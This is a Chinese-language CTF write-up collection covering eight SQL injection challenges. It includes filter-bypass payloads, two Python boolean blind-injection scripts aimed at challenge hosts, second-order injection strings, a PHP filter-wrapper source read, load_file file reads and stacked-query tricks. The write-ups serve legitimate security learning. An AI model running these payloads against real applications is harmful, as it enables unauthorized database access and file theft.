一.[极客大挑战 2019]BabySQL 基础的注入题目

一开始先使用万能密码1‘ or 1=1查看登录成功后的回显位置

alt text

这里报错可判断出or被过滤了,再尝试双写绕过过滤

alt text

这里登录成功了,说明可用双写绕过,再查看列数和回显

alt text

这里报错判断select或union或都被过滤了,再使用双写绕过过滤

alt text

查看出列数为3列,注点为2和3。这道题会显示报错,先出尝试使用报错注入。注入途中发现substr,from,information,where也被过滤,使用双写绕过。

alt text

最后注入成功,查看出表名,然后依次查找出列名,列里的flag

alt text
alt text

最后使用substr函数提取出完整的flag

alt text

二.[极客大挑战 2019]LoveSQL 基础的注入题目

原理与babysql一样,不过没有函数过滤,不需要双写绕过,直接报错注入即可拿到flag

三.[CISCN2019 华北赛区 Day2 Web1]Hack World

开局先用1‘ or 1=1万能账号查看,发现有sql语句过滤机制

alt text

用sql字典爆破查看被过滤的sql语句,发现空格,/**/,or,and,–+,#,union,还有一些报错注入的函数都被过滤了,无法使用联合注入和报错注入,优先考虑盲注

alt text

因or和and被过滤,所以可使用异或符^来判断页面两种不同的状态

alt text
alt text

因为真为1,假为0,且1^1=0,1^0=1,所以括号中条件为真时,页面输出Error Occured When Fetch Result.当括号中条件为假时,页面输出Hello, glzjin wants a girlfriend.可根据这两种输出盲注

写出盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
url = "http://9fa0f800-14a7-4413-a377-9a5266bf3592.node5.buuoj.cn:81/index.php"
result = ""
session = requests.Session()
for i in range(1, 1000):
found = False
for ascii_val in range(32, 127):
payload = f"1^(ascii(substr((select(flag)from(flag)),{i},1))={ascii_val})"
data = {"id": payload}
r = session.post(url, data=data)
time.sleep(0.1)
if "Error" in r.text:
result += chr(ascii_val)
print(result)
found = True
break
if not found:
break

print(f"Flag 获取完成: {result}")

注意

1. 脚本中使用了time.sleep(0.1),是为了避免请求频率过高,导致服务器繁忙请求失败,从而使得到的flag残缺

2. 脚本中使用了session.Session()是为了保持会话状态,避免每次请求都重新登录,导致注入失败

执行脚本,获取flag

alt text

四.[b01lers2020]Life on Mars

进入题目后无法直接获取get或post参数的变量名,抓包查看信息

666

发现get参数search,且只要地址正确,就会返回以下页面

666

用order by注入查看字段数,发现字段为2时,页面正常显示

666
666

再使用union联合注入查看回显位置

666

发现回显位置在最末尾,再查看所有库名

666

选择一个库,依次查看表名,列名和列内容

666
666
666

这里刚好得到了flag,如果没有就换一个库或列继续查找

五.October 2019 Twice SQL Injection

考察知识

二次注入

先随便注册一个账号,进行登录,输入sql语句查看过滤情况,发现没有过滤,但是单引号用\转义了,初步判断为二次注入

666

尝试注册用户名为:1’ union select database()# 的账号,登录后发现回显数据库名

666

进一步注入,注册用户名为:1’ union select group_concat(table_name) from information_schema.tables where table_schema=database()# 的账号,登录后回显表名

666

把sql注入语句注册为用户名,依次查找列名和列内容,最终获取flag

666
666

六.[CISCN2019 华北赛区 Day1 Web5]CyberPunk

考察知识

二次注入,php伪协议

先查看源码,发现页面源代码末尾有提示file传参

666

使用php伪协议读取php文件源码的base64编码,再解码

666

依次拿到提交订单,修改订单,查看订单,删除订单的php源码,发现修改订单的代码中存在注入漏洞

666

1
2
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
#old_address没有被过滤,直接作用再sql语句中,所以可以在address中注入sql语句,然后通过修改订单使sql语句生效,最后通过查看订单回显sql语句的执行结果

查看库名

在地址中输入:’,’address’=(select group_concat(schema_name) from information_schema.schemata)#
再修改地址使sql语句生效,最后查看订单回显sql执行结果

666

查看ctftraining库的表名

在地址中输入:’,’address’=(select group_concat(table_name) from information_schema.tables where table_schema=’ctftraining’)#
再修改地址使sql语句生效,最后查看订单回显sql执行结果

666

查看列名

在地址中输入:’,’address’=(select group_concat(column_name) from information_schema.columns where table_schema=’ctftraining’ and table_name=’FLAG_TABLE’)#
再修改地址使sql语句生效,最后查看订单回显sql执行结果

666

查看列内容

在地址中输入:’,’address’=(select * from FLAG_COLUMN)#
再修改地址使sql语句生效,最后查看订单回显sql执行结果

发现值为空,没有flag,被骗了,再尝试查看文件目录是否有flag文件

在地址中输入:’,’address’=(select(load_file(‘/flag.txt’)))#
再修改地址使sql语句生效,最后查看订单回显sql执行结果

666

最终获取flag

七.[GYCTF2020]Ezsqli 无列名注入

考察知识

布尔盲注,无列名注入

思路

1. 先输入1‘,1“,只返回了bool(false),并没有具体的报错信息,所以报错应该不回显,排除报错注入

2. 依次输入id=1,id=2,id=3,id=0.发现id=1时返回NULL,id=2时返回V&N,id>=3或<=0时返回Error Occured When Fetch Result.可用布尔盲注

3. 用sql字典爆破出被过滤的字符,发现if,union,or,and,information等字符被过滤了,还可以用^异或来进行布尔盲注

4. information_schema无法使用,可以用sys.schema_table_statistics_with_buffer库和sys.x$schema_flattened_keys库代替来查找表名,效果与imformation_schema.tables库相同

5. 但是无法查找列名,所以用无列名注入法,查找列的内容,这里用到了ascii位偏移

666

给定两个字符串,会各取两个字符串的首字符ascii码来比较,不等式成立返回1,不等式不成立返回0,且两个比较的列数和非比较列要相同(比如select 1,”b”中,1是非比较列,b是比较列),如果两个首字符的ascii码都相等则比较第二个字符,以此类推;如果前面的字符都相等,一个后面有字符,另一个没有字符,则有字符的大。

666
666
666

6. 根据以上规律,写出盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
url = "http://ad2dd0bd-164d-4573-92ac-bb267528221b.node5.buuoj.cn:81/index.php"
result = ""
session = requests.Session()
for i in range(1, 1000):
found = False
for ascii_val in range(32, 127):
flag = result + chr(ascii_val)
#payload = f"1^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema = database()),{i},1))={ascii_val})"
payload = f"1^((select 1,'{flag}')>(select * from f1ag_1s_h3r3_hhhhh))"
data = {"id": payload}
r = session.post(url, data=data)
time.sleep(0.1)
if "When" in r.text:
result += chr(ascii_val-1)
print(result)
found = True
break
if not found:
break

print(f"Flag 获取完成: {result}")

7. 先用sys.schema_table_statistics_with_buffer代替information_schema.tables库,查找到表名f1ag_1s_h3r3_hhhhh,再无列名注入查找flag

666

八.[SUCTF 2019]EasySQL 堆叠注入

1. 先输入1或>=1的数返回Array ( [0] => 1 ),输入0或字符无回显,返回为空,推断可能有||结构

||运算规则:首先0和字符为假,非0数字为真,如果第一个为真直接返回真,如果第一个为假则判断后一个,如果后一个为假则返回假,如果后一个为真则返回真

2. 根据前面的返回,则判断后一个为假内容及[输入的数据] || 假,所以结构应该为 ‘select [输入的数据] || 假 from Flag’

3. 所以可以用*,1绕过||运算,返回所有字段的内容

输入*,1后,结构变为 ‘select ,1 || 假 from Flag’ 因为 ‘1||假‘=1,所以返回所有字段的内容(包括flag)
为什么是
,1,而不是*,0/字符?
因为0和字符为假,0 || 假返回空无回显,无法查看flag

666

4. 最终获取flag

另一种方法是通过 set sql_mode 将 || 的语义强制转换为字符串连接符。执行以下两个步骤的 payload:

  1. 首先执行 1;set sql_mode=PIPES_AS_CONCAT;
  2. 然后执行 select 1。

这样做能将 || 从逻辑”或”运算符转换为与 Oracle 数据库兼容的字符串连接符,从而拼接并输出完整的 flag 内容。

666